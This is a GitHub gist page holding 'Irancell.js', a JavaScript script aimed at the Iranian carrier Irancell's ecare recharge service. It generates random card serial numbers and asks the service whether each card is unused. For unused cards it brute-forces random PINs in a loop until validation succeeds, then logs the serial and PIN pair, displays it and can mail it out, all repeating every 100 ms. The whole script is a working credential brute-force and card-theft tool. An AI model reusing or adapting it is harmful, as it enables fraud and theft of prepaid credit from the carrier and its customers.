Skip to content

Instantly share code, notes, and snippets.

@jahan-paisley
Created November 15, 2011 09:15
Show Gist options
  • Save jahan-paisley/1366537 to your computer and use it in GitHub Desktop.
Save jahan-paisley/1366537 to your computer and use it in GitHub Desktop.
Irancell.js
function Message(serialnumber)
{
var This = this;
this.SerialNumber = serialnumber;
This.Found= false;
this.loadResult = function (data)
{
var jsonString = data;
var jsObj = eval("(" + jsonString + ')');
if(jsObj.resultCode == '0')
{
console.log(This.SerialNumber+','+This.PinNumber);
This.Found = true;
return true;
}
else
{
This.Found = true;
return false;
}
};
this.callback = function (data)
{
var jsonString = data;
var jsObj = eval('(' + jsonString + ')');
if (jsObj.resultCode == '0')
{
globalCardStatus = jsObj.cardStatus;
if (globalCardStatus != 'USED')
{
console.log(This.SerialNumber +' '+ 'UNUSED');
while(!This.Found)
{
this.PinNumber = Math.floor(Math.random()*944075155458);
WimaxDwr.validatePinDetails(This.SerialNumber,This.PinNumber,this.loadResult);
}
This.saveFile();
This = null;
return true;
}
else
{
console.log(This.SerialNumber +' '+ 'USED');
This = null;
}
}
This = null;
return false;
};
this.send = function()
{
var url = "serialNum="+This.SerialNumber;//inputs.serialize();
var address = "http://ecare.irancell.ir:80" + ""+ "/webflows/wimax/wmaccandbillinfo/recharge/getPinDetails.do?"+url;
var options = new Object();
Ajax.request(address,{ onComplete: this.callback});
};
this.sendMail = function() {
var link = "mailto:[email protected]" + "&subject=" + escape("Irancell") + "&body=" + This.SerialNumber + ':' + This.PinNumber ;
window.location.href = link;
};
this.saveFile = function () {
var w = window.open( '', '_temp', 'width=100,height=100' );
w.document.writeln(
'<html><head><title>Console</title></head>'
+'<body bgcolor=white onLoad="self.focus()">'
+This.SerialNumber + ':' + (This.PinNumber? This.PinNumber : "-\n" )
+'</body></html>'
)
};
}
function call_n_times(){
var messages= [];
for (var i=0;i<1;i++)
{
messages[i]= new Message(Math.floor(Math.random()*791834748896));
messages[i].send();
}
}
var a = setInterval(call_n_times, 100)
setTimeout(clearInterval, 123456, a);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment